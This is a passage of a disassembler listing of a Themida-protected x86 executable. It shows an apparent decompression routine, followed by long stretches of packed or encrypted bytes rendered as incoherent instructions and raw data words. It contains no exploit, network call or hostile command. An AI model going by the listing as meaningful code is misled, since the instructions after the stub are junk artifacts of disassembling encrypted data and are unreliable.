		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_54B46B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		db 90h
		db 34h,	56h, 1
		dd 9222AFFAh, 1EF0FE1h,	74736552h, 41CC7261h, 0F42EE270h
		dd 17C2F978h, 3CA7077h,	1A31AE1h, 52AE3A84h, 0DC21E844h
		dd 0DE7D2303h, 1FC22445h, 0A46DE957h, 6854807Fh, 64696D65h
		dd 0FEC8614Dh, 1A622ACh, 0EFFE0BE1h, 0EE11122h,	0AE101BCh
		dd 2E98E2FBh, 0CEBBAA10h, 33B81078h, 0FA43B887h, 0FC503DFDh
		dd 2303DC71h, 369177D5h, 0E95D8570h, 35E640CDh,	0EF1BE103h
		dd 21C58BC7h, 0C2E860D4h, 0ED815D20h, 1034019Fh, 0F5958906h
		dd 0B50D8830h, 0C98541E9h, 0BD830121h, 71CD5h, 0E88B0C74h
		dd 0B84CE2E4h, 78C28F09h, 0E3244470h, 20203EB9h, 0E8456A0Ch
		dd 0F6829A3h, 783749Ah
; ---------------------------------------------------------------------------
		dec	edx


loc_4E132D:				; CODE XREF: Themida_:004E13ABj
		fisttp	word ptr [edx]
		add	esp, ds:0D20A894Bh
		aad	21h
		jmp	near ptr 0EC981550h
; ---------------------------------------------------------------------------
		db 0FAh, 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+1358DEAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E1370
		iret
; ---------------------------------------------------------------------------
		dw 820h
		dd 93F783E4h, 120CFF10h, 36E1EB43h
; ---------------------------------------------------------------------------


loc_4E1370:				; CODE XREF: Themida_:004E135Fj
		fsubr	qword ptr [esi+61h]
		db	26h
		or	cl, 0C2h
		add	al, 80h
		inc	esi
		add	esp, 2D1FF7Ch
		dec	ecx
		enter	0FFFF80D6h, 8Dh
		inc	ebp
		or	byte ptr [ebx-38D7F7A3h], 85h
		sbb	[ecx+0A408D50h], ecx
		rol	ebx, 1
		mov	ds:0B894118h, dl
		adc	al, 81h
		mov	ebp, 755D4006h
		push	edx
		jecxz	short loc_4E13CC
		test	[ebp-7F9BE246h], ecx
		jnz	short loc_4E132D
		mov	cl, [esi]
		mov	ebx, 15B92F4h
		mov	eax, 785437ABh
		rcl	eax, cl
		stc
		ja	near ptr 0F7C35ECAh
		pusha
		scasd
		retn
; ---------------------------------------------------------------------------
		inc	edi
		inc	esi
		movsb
		dec	edx
		mov	word ptr [esi+54h], es


loc_4E13CC:				; CODE XREF: Themida_:004E13A3j
		stc
		inc	edx
		rcl	dword ptr [edi+61h], 1
		mov	al, [eax-30h]	; CODE XREF: Themida_:004E13D4j
		lock jmp short near ptr	loc_4E13D1+1
; ---------------------------------------------------------------------------
		adc	al, 0EEh
		inc	ebp
		cld
		dec	ebp
		adc	al, 0EBh
		add	al, 0ADh
		jns	short loc_4E13FA
		inc	esi
		cmp	byte ptr [esi],	40h
		idiv	dword ptr [edx+34DC84A6h]
		retn
; ---------------------------------------------------------------------------
		jge	short loc_4E13FB
		jmp	short loc_4E1470
; ---------------------------------------------------------------------------
		db 21h,	3Eh, 0F8h
		dd 0F0126D99h
		db 9, 95h
; ---------------------------------------------------------------------------


loc_4E13FA:				; CODE XREF: Themida_:004E13E0j
		push	cs


loc_4E13FB:				; CODE XREF: Themida_:004E13EDj
		hlt
; ---------------------------------------------------------------------------
		dd 0C14A0210h, 8004F065h, 0E0D1F8D6h, 0C0C27203h, 8ADB3328h
		dd 8039301Ch, 0A7298FBh, 7A77390Ah, 0E4EB7D05h,	6114CF22h
		dd 660A0DECh, 1EDE08FEh, 0AC39DBEh, 411A1058h, 0A0B6172h
		dd 0BD067746h, 30014424h, 0F4ECF05Dh, 2E67D83h,	0CB07236h
		dd 0A5766EC0h, 0F826AACCh, 8D0E9C83h, 3B01A8D4h, 820FFC55h
		dd 0B0BD5378h, 387CAA83h, 0C108BAA1h, 5070C1B9h
; ---------------------------------------------------------------------------


loc_4E1470:				; CODE XREF: Themida_:004E13EFj
		cld
		mov	ebp, 0FE80371Ch


loc_4E1476:				; CODE XREF: Themida_:004E147Aj
		lsl	eax, [edi+49h]
		jnz	short loc_4E1476
		mov	ecx, 0B86A8B22h


loc_4E1481:				; CODE XREF: Themida_:004E14F3j
		mov	ebx, 0F1FA1101h
		cmp	eax, [edx-3EFD9115h]
		mov	es, word ptr [esi+7F43929h]
		push	ecx
		jo	short loc_4E14FA
		jle	short loc_4E14CD
		mov	edi, [ecx+27DE268Ah]
		jmp	near ptr 8CA7986Ah
; ---------------------------------------------------------------------------
		dw 6BDBh
; ---------------------------------------------------------------------------
		jmp	short loc_4E14F7
; ---------------------------------------------------------------------------
		dw 4DBh
; ---------------------------------------------------------------------------


loc_4E14A8:				; CODE XREF: Themida_:004E14D6j
		db	3Eh
		pop	ss
		and	[edi], edi
		les	eax, [ebx]
		mov	al, [ebp+25h]
		add	eax, 1A093082h
		and	[ecx+51h], eax
		les	eax, [eax]
		mov	ebx, 4FA80DD0h
		repne popa
		add	[bx+di-1B55h], bh
		sub	dl, 35h
		lock push esp
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------


loc_4E14CD:				; CODE XREF: Themida_:004E1495j
		imul	esp, [edx+2Ch],	-3Dh
		or	al, 15h
		cmp	[eax+0], edi
		jle	short loc_4E14A8
		or	cl, bl
		xchg	eax, esp
		out	dx, al
		mov	edi, 0F6EC0005h
		pop	edx
		sbb	[ebx-49h], ch
		push	edi
		mov	eax, 0D8A9E319h
		stosb
		icebp
		and	al, 25h
		cli
		jl	short loc_4E1502
		push	cs
		loopne	loc_4E1481
		retf
; ---------------------------------------------------------------------------
		db 34h
; ---------------------------------------------------------------------------


loc_4E14F7:				; CODE XREF: Themida_:004E14A4j
		add	[edi-7Eh], ah


loc_4E14FA:				; CODE XREF: Themida_:004E1493j
		cmp	[esi+5Bh], ecx
		xor	[esi+0Fh], dh
		sbb	al, 51h


loc_4E1502:				; CODE XREF: Themida_:004E14F0j
		cmp	eax, 76D17C04h
		cmp	esp, [ecx+46h]
		push	75h
		or	[esi], ebp
		inc	esi
		xchg	eax, ebx
		push	cs
		add	cl, [eax-14h]
		in	al, 65h
		nop
		push	es
		cmp	byte ptr [ebp-7Ch], 0C5h
		add	eax, 3C962A8Eh	; CODE XREF: Themida_:loc_4E1551j
		call	far ptr	45C2h:4855347h
		sub	[ecx+esi*2+0EE78C0Dh], ecx
		mov	ebx, 2BFF30AAh
		xor	dword ptr [edi+4], 341D22C0h
		rol	dword ptr [ecx+edi*8+20753319h], 0BCh
		aas
		pop	es
		ja	short loc_4E1551
		out	dx, ax
		xor	[eax+2], dl
		test	eax, 678CE2ECh


loc_4E1551:				; CODE XREF: Themida_:004E1545j
		jg	short near ptr loc_4E151C+3
		jmp	esp
; ---------------------------------------------------------------------------
		db 40h,	33h, 45h
		dd 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h,	425AAB33h
		dd 56241384h, 825E6000h, 81AA47EEh, 4F052184h, 13B9AA8Ah
		dd 97522320h, 9E98A43h,	47757800h, 60EAF3F4h, 1E24150Ch
		dd 181D663Fh, 4800AFE7h, 105CC915h, 2507608Ch, 719BD482h
		dd 1B55A33Eh, 22190B8Fh, 670E050Ch, 854AA8BCh, 0A600DA8Dh
		dd 813575DCh, 0E4C6A1E2h, 14D193CCh, 1B90102Bh,	0FD8B5301h
		dd 0F0CA0B5Ch, 19C33D86h, 0E3DA8C51h, 230AD1C8h, 1D02F498h
		dd 0BC008E9h, 0E3A57A76h, 98DC1548h, 7EAAEAh, 6CEFB068h
		dd 59C031F2h, 9AD00E01h, 3793F523h, 67EA5CC0h, 11522D18h
		dd 0EE91EC81h, 58FC389Bh, 506C3DCAh, 3286BC50h,	0EA20159Ah
		dd 71494480h, 2C12E578h, 0DA18985Fh, 821E4628h,	2DC2C018h
		dd 93494500h, 5C34B752h, 0C0100760h, 0AEC882DFh, 0C65726F9h
		dd 9AF3A080h, 5C2859BBh, 83228F34h, 0C48C3903h,	0E9187B58h
		dd 494F1512h, 0D804CD00h, 0DEEC4D5Bh, 885D0061h, 7C60144Bh
		dd 0B41C51ABh, 8240598Ah, 6631D2F7h, 84102836h,	0DEA3322h
		dd 0B088540Bh, 0A626B97Bh, 8500398Bh, 0C7829290h, 0A8C003B4h
		dd 0DCE5814Eh, 0DDAF1200h, 8C675CBAh, 505773C8h, 0FE10F2D8h
		dd 0B2EF0AC4h, 60D02CE7h, 171E8C3Fh, 0D561E600h, 0B883B295h
		dd 0AF4E1D6Fh, 0EA844643h, 0D7074E05h, 0A295FA82h, 1108120Eh
		dd 0FE98C31h, 920E880Bh, 0A0FD9B80h, 8103FFABh,	0F6F874C8h
		dd 0F1D102BBh, 0EA5B56F6h, 5A011864h, 359E07A0h, 12C098BEh
		dd 4FE30096h, 1982CD87h, 0B40BD695h, 204AEAE2h,	0FA1B147Bh
		dd 7205026Dh, 0C8D8078Ah, 595C4160h, 4F64FC01h,	7596E354h
		dd 7C0BC1D3h, 0B00008BEh, 0B9ACCF17h, 8A773E61h, 848E9207h
		dd 391CC280h, 0E2DF01C3h, 876ACCB2h, 0BD518055h, 446C0E37h
		dd 23D507C2h, 0E384A4B8h, 9EC94E06h, 0D23081B4h, 63FA47DEh
		dd 0F2512886h, 701B4156h, 0C760A739h, 65BFEC3h,	6E3FA519h
		dd 6D00307Ch, 4BA8B9C3h, 58D252EEh, 2F036554h, 0A6B2F66Eh
		dd 88571000h, 8B701350h, 43210C94h, 84596D41h, 0AB44D21Dh
		dd 5A318701h, 93D478CEh, 8C290183h, 7D136F43h, 2E980D0h
		dd 71035647h, 775F02B8h, 7E998320h, 0AFFF8490h,	2AC44C00h
		dd 0A3EC0FD8h, 47FA3027h, 0A89874E8h, 9232E0FFh, 5A7FB400h
		dd 4367A34Dh, 58454Eh, 0EEF913ACh, 0A8FD5700h, 0BCF50D63h
		dd 0DAFA0C68h, 9C38A6D3h, 85898A0Eh, 65FC80ACh,	50809B66h
		dd 184344D8h, 78B8DAEAh, 7405E5FCh, 0DDAAEED6h,	0C8D7880Dh
		dd 677611C8h, 0C55051h,	0D2F3B813h, 0DB2A8E18h,	3743F428h
		dd 0DE49E622h, 3370F3C3h, 8EEBA8C0h, 28A5EA31h,	38BCFF3Fh
		dd 7D30A9A0h, 0BD6B89D7h, 0B70F3CA5h, 0E7310500h, 0B84AC106h
		dd 8C733F05h, 0F207CC54h, 2019762Fh, 6B682738h,	58B72AF0h
		dd 47BD0ADCh, 3EF87B96h, 0E002EE8Ch, 0C918C468h, 3F3966E4h
		dd 6BE32A86h, 0D4CF00A4h, 7E25FBF8h, 0DEA047B4h, 86059BF4h
		dd 0D6C98427h, 7C2F1C03h, 0DFB100C3h, 0CD14A132h, 6E00866Dh
		dd 49E43CA0h, 1D28CAEh,	0FA38F7C5h, 48596A12h, 0C60987C4h
		dd 10F35184h, 607B4350h, 0FE838963h, 6A65C612h,	0F421E330h
		dd 8EF02766h, 0B6CF0098h, 3D39AAEAh, 476132FEh,	0EE7017F9h
		dd 0E1A96840h, 3C79012Ch, 35E065C9h, 9A43D61Ah,	0B39A5802h
		dd 80C1528Eh, 464A538Ch, 0ED98A109h, 83BE4EF0h,	0B8F077F3h
		dd 4860A899h, 2AFE6459h, 48A2608Dh, 212509F9h, 13B0C803h
		dd 0A8D851BCh, 600A47DFh, 8FF05014h, 0A63AC8E9h, 99900F78h
		dd 0FA29A001h, 0ADF34Eh, 0B8702165h, 0BDF3A2Bh,	0A88FC000h
		dd 1501371Dh, 0F9121D4Dh, 8519007Fh, 5C1E625Dh,	1B0BFB07h
		dd 0BA815EC4h, 0EEF08432h, 989E3C44h, 0EDEABD80h, 15A8B7C0h
		dd 0AC69400h, 6481DF4h,	0B22D3D50h, 84CBA4h, 0BFA59D16h
		dd 8200C9E9h, 61C71BF4h, 92D8EAF6h, 646C1D4Ch, 0B998550h
		dd 0AC804079h, 0A4A03432h, 3612D17Ch, 7C048215h, 0FC015DB2h
		dd 405F77DAh, 6D7C390h,	1A18A360h, 805E9231h, 0FA09030Bh
		dd 235D522Ah, 0E572EFA8h, 0C1410h, 552F7AADh, 0A3766657h
		dd 0CBD2D8A8h, 9E8902F3h, 208E4FA6h, 4582846Bh,	5F401829h
		dd 0CF60008Fh, 67033590h, 0ED0944F3h, 0E6D1B16h, 6F3A461Ch
		dd 780B3040h, 5062FDE1h, 40A80509h, 605404D6h, 0BC3EF440h
		dd 0A9398C30h, 683A818Ah, 3FBEE58Eh, 48926AC9h,	0FF340437h
		dd 974D0455h, 643014C5h, 99C57B6h, 6BD3C11Bh, 2524700h
		dd 20B1D6CCh, 31432F03h, 0B348101Ch, 6D9B136Eh,	0DEEE2420h
		dd 20DD81AAh, 43116B7Ch, 84035144h, 69FFCAFAh, 0D6C28109h
		dd 0CB48A056h, 6026DFA3h, 0DE9B10A5h, 12630A3Fh, 0A1BABEB8h
		dd 498C5949h, 0D491620Bh, 260032B8h, 34073FAh, 0E27B216Eh
		dd 0D95900D1h, 47DD1A16h, 48C07246h, 0B6AB262h,	0D7801213h
		dd 0E3EC4653h, 931F5955h, 5A804503h, 6125366Dh,	0B053FB9h
		dd 0E0D7F414h, 180C288h, 3D3EB26Ch, 44BF0C13h, 5149F346h
		dd 9C5BF42Ch, 17C1262h,	0C6CAEE63h, 58049086h, 28BF122h
		dd 8016F96Ch, 6C4830DDh, 7544EBCCh, 0A611141Ah,	45019CB6h
		dd 4706F2Fh, 0FB8460AFh, 0D24391C1h, 0DC64A10Ah, 5FDD8856h
		dd 479C620h, 7838FED7h,	0CDA08353h, 0E3393Ah, 0BF39D184h
		dd 586A7368h, 9710508Eh, 0EF90257h, 0A7062972h,	0F661F4F8h
		dd 4434A87Ah, 9E3A1543h, 7E18E44Bh, 4D2D59C4h, 10F81CE4h
		dd 0CC167426h, 47109828h, 8A007AE2h, 8EF8E390h,	6200F43Fh
		dd 8B6FDE26h, 88475A9Eh, 0BE00F70Bh, 17C2A82h, 0F61AEA2h
		dd 1DA59E92h, 38852602h, 0F50F08CCh, 1213BF43h,	480EDC04h
		dd 0A84CF810h, 3C1622C7h, 3718DEB1h, 4B900F95h,	0AC72248Eh
		dd 854F8D60h, 0A2903019h, 12C1C340h, 5E104537h,	6D0722CCh
		dd 8DE95C4Ah, 92EAA16Eh, 0F0A89DC3h, 4FC62000h,	2DE8348h
		dd 928ED59Bh, 4D70E8CFh, 0BED20901h, 14221A5Fh,	18645A82h
		dd 58A7B800h, 873ECE06h, 8FE60012h, 4E227D6h, 6C0521A4h
		dd 4EFEBE08h, 6084F489h, 4BC9F86h, 0F0894743h, 0F8AD5810h
		dd 0FBA00196h, 29D24D99h, 5A884194h, 0D4798042h, 0C7B102EFh
		dd 0E350368h, 9FF42BBFh, 2F24AD90h, 0D8666D00h,	76F26EAAh
		dd 0C1494B5h, 2141435Ah, 0C68A0700h, 0D01D6977h, 819004Ah
		dd 0BD603CC0h, 7C284315h, 77454C52h, 5F40E21h, 9F9B0985h
		dd 49818148h, 805AF851h, 57BFA59h, 359BF325h, 81392A0Bh
		dd 5726C4h, 18022EB6h, 10475631h, 6E00E6C7h, 0F97B4EE9h
		dd 0A4D7CC01h, 0F74A084h, 2B158058h, 485048DEh,	77AEB700h
		dd 0FB545305h, 54A28CA4h, 16E7BFC0h, 368ED612h,	0E3F55481h
		dd 0D17AD3h, 0BBC21364h, 0CAE04EC4h, 2C563D00h,	0FAC5FE0Bh
		dd 5F4B0315h, 3AF65416h, 0F5505800h, 4085DF38h,	80983B66h
		dd 9C83A448h, 0CDDBEE4Bh, 0B82690Ch, 7FB4C17Dh,	4E95008Dh
		dd 9BEAA96Bh, 0EFE2C207h, 5CD9301h, 6187D980h, 45D22834h
		dd 0C7D6F167h, 0C4E36129h, 0DF22AE00h, 0ACF4Ah,	70C48230h
		dd 0C0D526AAh, 6E57DE09h, 0C4500819h, 0FA5F5502h, 0DD088069h
		dd 8462663Fh, 0C9AF9488h, 6083AC34h, 4D52F081h,	0B6DAFE00h
		dd 0F2408094h, 50C1FC10h, 0A29F02Fh, 839BBAB3h,	5BDB08D0h
		dd 0F6D2F303h, 6C91ECE8h, 0C714697Bh, 47C8143Ch, 884C1A47h
		dd 0F17F600Ch, 2B2293DBh, 3C005871h, 0D8B69506h, 769B027Eh
		dd 0D4FC1Ch, 8E2DB33Bh
		dd 17F2684Dh, 60FF3237h, 84B26684h, 0EC80D850h,	21C61EB1h
		dd 6B594081h, 1A7168F2h, 0C4A5CE26h, 30A3DA08h,	48337018h
		dd 807BBB00h, 499058EAh, 5141655Ah, 99CB00F9h, 0E92B6871h
		dd 3800F471h, 6EE0DE9Fh, 50DA317Ah, 0EA4380B3h,	594760F2h
		dd 0BD9BE67Dh, 21C9F800h, 23CD64Ah, 9668E427h, 0DDCE40F8h
		dd 20FA960Fh, 6CBD9D05h, 980493B9h, 0F20BAB12h,	0E06B9801h
		dd 0D90C20F9h, 44E4A444h, 0D2005655h, 0F17E91AEh, 8772Fh
		dd 1239FA71h, 4DE3F450h, 0E14129CFh, 9EA5F5C2h,	0E73F30h
		dd 800CDB21h, 259B6323h, 1EA26002h, 40AE856Ah, 805327E0h
		dd 1800B655h, 76E375CCh, 53D80229h, 0B0880462h,	16839880h
		dd 81AA7h, 1F74E541h, 0FBAF9CC8h, 18A15730h, 30AD63D8h
		dd 4840D969h, 2CB84556h, 0B2ACD60Ch, 1775906h, 0D25D7E7Dh
		dd 0F10EA644h, 0C694F043h, 0C165350Fh, 1DF966BDh, 0B0ED1D38h
		dd 23714F74h, 83E98987h, 1043193Ch, 31320430h, 66C00413h
		dd 1098525h, 0A668C281h, 3076B2F3h, 0E5185D89h,	0BBB87C7Fh
		dd 1E427852h, 0C9DF3Bh,	2800638h, 0E600CD3Ah, 0D662DE1h
		dd 1B0CF9FDh, 2997E543h, 9FDAB6E1h, 68805FC8h, 0D049D299h
		dd 46BD0D2Ah, 8890E9D4h, 0E1A84A8h, 0A6A1F189h,	0D253F0BDh
		dd 8A648F41h, 8274390h,	0A1EDE142h, 88E8E7BCh, 0DF0A41BCh
		dd 81C42CE5h, 1D44D56Ah, 0F79181AFh, 0ECE85681h, 0C6667880h
		dd 0A31D5C41h, 0D2A21C1h, 599E6155h, 0BE818A27h, 9B928518h
		dd 18E05D5Bh, 0E5E0A8DFh, 317181EFh, 0F0A3862Ch, 0D938AC53h
		dd 2D0A720h, 0BB9706EFh, 40A45393h, 0B422790Ah,	0AA89F468h
		dd 0E22411D5h, 0EA080882h, 78C366EDh, 851587E0h, 63DA2E03h
		dd 0D971A661h, 0B98A27F5h, 54CEBAFh, 43F149D4h,	0BEA7D1A0h
		dd 0EA78D103h, 0A334663Dh, 5D40A025h, 438200FFh, 0D88AE49Ch
		dd 46EE7DBh, 63469E91h,	1103B0h, 20DCC78Ch, 4FE7E054h
		dd 102F61CCh, 803054E5h, 16180297h, 5B0D5F77h, 0ED18F48Dh
		dd 1A285B6Ah, 1E181F77h, 98111828h, 65555868h, 13F094A8h
		dd 38CBC803h, 0A0DB421Ah, 0ABD68316h, 0E36CC8A4h, 0F58A5814h
		dd 0CCCB4043h, 0D786BB83h, 0F3958h, 0B3D88CA2h,	30170592h
		dd 0B4912F1Ah, 4C90EF32h, 31DD0098h, 0E0583C2Bh, 0A45B54E8h
		dd 94412472h, 76304C3Ch, 344AF789h, 3B5E5488h, 8FBB89D3h
		dd 0B4B5B18Eh, 0CAD10A6Ch, 11429A00h, 97DCD78Ch, 489251AAh
		dd 4723BC1Eh, 60AF6361h, 247BE424h, 508DDD8h, 4F0FE7DFh
		dd 431268A8h, 645A0D7Ch, 0D4A16119h, 0F608BAA9h, 0CD18188h
		dd 0DC852BD3h, 21005B71h, 4B44D82Fh, 4ECB272h, 0B4A7DB06h
		dd 40D08554h, 22817170h, 0DF181FB1h, 0AA811EE6h, 0EFDB3EAFh
		dd 0F9292056h, 0CCE105BCh, 8FA004BCh, 0EC9C8226h, 0C1D8A043h
		dd 0F1900A70h, 10077424h, 38C2518Ch, 1DEADFh, 0E8904F7h
		dd 0BE2FAF12h, 48217439h, 66C4003Ah, 0C844F750h, 223100ABh
		dd 0D37A027Bh, 98013CEFh, 8E1D0E1Eh, 2AF04B07h,	70220741h
		dd 906634D0h, 0E72FCB0Dh, 0CEF45400h, 7A3B25BDh, 40CC600Eh
		dd 0D119206h, 134BA083h, 2757001Bh, 80302270h, 0D7007A50h
		dd 88F74C29h, 1F21AF0Ah, 4476B3Bh, 8011A9D6h, 0FB1D037Ch
		dd 148C1302h, 0C427551Bh, 5D048D7Ch, 8A80F84Ah,	1128D0Ah
		dd 3FD89057h, 488037C3h, 96EDF7Ah, 0DB7781F5h, 2293B3Dh
		dd 0F0C8CC50h, 3174C01Dh, 7E23043h, 54AF2F40h, 6922A500h
		dd 0D47D506Ch, 0E85A0029h, 39BDD6EFh, 0E400DD62h, 9E6CE1Ch
		dd 40C5159Eh, 0C108F1Eh, 0D0005418h, 0B517B69h,	480029CBh
		dd 0B0CF8D8Ch, 17670CDh, 0FA021050h, 0D8089E0Dh, 0C500E743h
		dd 46040C83h, 9CEC054h,	9517A26h, 8B613884h, 0F880AE94h
		dd 2E208A13h, 6F4822EEh, 50007154h, 4129CE0Bh, 3B0AEF90h
		dd 618021BFh, 0F6CD0E02h, 0D400A93Ch, 7894C04h,	120BF2h
		dd 74A22B98h, 7A566234h, 547B020Fh, 0B5C580FEh,	0C20680h
		dd 0EAC37837h, 32E0AC1Fh, 8C0940C1h, 0BC01111Ah, 5067CC74h
		dd 6D02751Dh, 0DC8BF400h, 2D66A1h, 0D4CC4661h, 11991FE6h
		dd 4B490300h, 1B0E8C20h, 0BE240098h, 42672E21h,	8CB31075h
		dd 58705057h, 9A048F24h, 22462A00h, 73DC4B9h, 10C97B78h
		dd 89F56228h, 3E358CC0h, 9845802Ch, 954AEE00h, 1D0211h
		dd 0B8604F5h, 0A21359D5h, 68393B00h, 66D60943h,	3B81E24Dh
		dd 2100BED0h, 0C30A5F76h, 980025B3h, 4B43CE08h,	0E138D10h
		dd 0A9405314h, 5A776940h, 2900DFCCh, 0D592F833h, 73F66AFh
		dd 0D40F0265h, 159630EAh, 4B00170Dh, 612F371h, 3A52E98h
		dd 58353028h, 5DB0D00Bh, 0ACB0934Dh, 2613344h, 0AC20F0CBh
		dd 9C53D9DEh, 43FDA57h,	1DD500D7h, 142B3DA3h, 31D6AD00h
		dd 36CBD708h, 2A9229D8h, 0A5005434h, 81642722h,	7936DFh
		dd 38313DD5h, 74630AA0h, 0B450609Ch, 183F671Dh,	0B2B7C12Ch
		dd 21BF01h, 87C22273h, 5E2E850Dh, 18C00C9Fh, 0C1FC121h
		dd 47C03C22h, 802375Eh,	964A049h, 0BA9C17DAh, 0ACD4C391h
		dd 21050930h, 1C9CD2E9h, 0C004480Dh, 53CF46C1h,	0FB00118Fh
		dd 81A9B2Eh, 0E0FD43h, 979CC816h, 0DC616342h, 7C41AA5Bh
		dd 0D76FBC38h, 250EAEF4h, 10415906h, 192180CDh,	1AA26FB4h
		dd 36323AE2h, 45764D80h, 0EEBEE11Dh, 98305C75h,	332A6013h
		dd 0E8E700C1h, 2372D993h, 0D8E96402h, 221844D1h, 8BF91FE1h
		dd 0F30B004Eh, 5A53D614h, 0E25371D9h, 5274201Ch, 0ED00B891h
		dd 78A52A88h, 8C0EBD23h, 0EF22C2BFh, 3EB39464h,	763F0071h
		dd 576763E4h, 74D466C1h, 9E004170h, 21BCBE54h, 5118C78h
		dd 7AB32742h, 0E68C0CBFh, 3D2023B8h, 60DF7971h,	0FEF3B192h
		dd 5825F5C4h, 76C04870h, 3844868Eh, 8000BEA7h, 0D0EC9F52h
		dd 0C9020B33h, 92488782h, 0E11C8383h, 0F499006Ah, 0AC646213h
		dd 9120A38h, 2054B168h,	62308h,	91B49CE0h, 44863436h, 9CE6E320h
		dd 0D2014A00h, 6944B43h, 0E7FB0034h, 0B0EDB9EAh, 0E0D41FC7h
		dd 8C16E854h, 5687B201h, 0D6122001h, 28D4DADCh,	3340EEE0h
		dd 0A0310DB1h, 0F9F757D0h, 0FB0031F2h, 0B7A6FE8Fh, 7B496AF3h
		dd 0B12900C7h, 6E7922E0h, 9205287Ch, 71DC4D54h,	0D587EC01h
		dd 44E8F386h, 25028FDh,	839508BCh, 706A338h, 79144Ch, 1C0BE8A1h
		dd 610D245Ah, 49DCA407h, 9EC04B20h, 0F5DAB9h, 8B94F135h
		dd 8196C56h, 0DC31EF7Ah, 0CB15804h, 3E59B980h, 97A60EADh
		dd 52FC7803h, 0CF6DE26Eh, 4CD361F2h, 6FB3049Ch,	62D642E0h
		dd 0AB1620D0h, 0A700BB6Fh, 42FD7D1Bh, 0C40B98F5h, 4010B270h
		dd 2181693Bh, 0B92E0057h, 7711F1A7h, 780174AAh,	0AE41A9FBh
		dd 0B892C224h, 0F220B0BBh, 6CF5D902h, 808116F1h, 2B7B5848h
		dd 0E9DA1D2Ch, 0B03B9288h, 762846E0h, 0C200F8B8h, 0CF793FA6h
		dd 49E1D12Ah, 82004067h, 0EC7441C7h, 0D47D66C5h, 80188695h
		dd 0DFA70321h, 0D1CEDD41h, 0C405CBF9h, 5B12C9F4h, 2854DCB0h
		dd 456181ECh, 10247599h, 34763291h, 0C830D470h,	0EC731141h
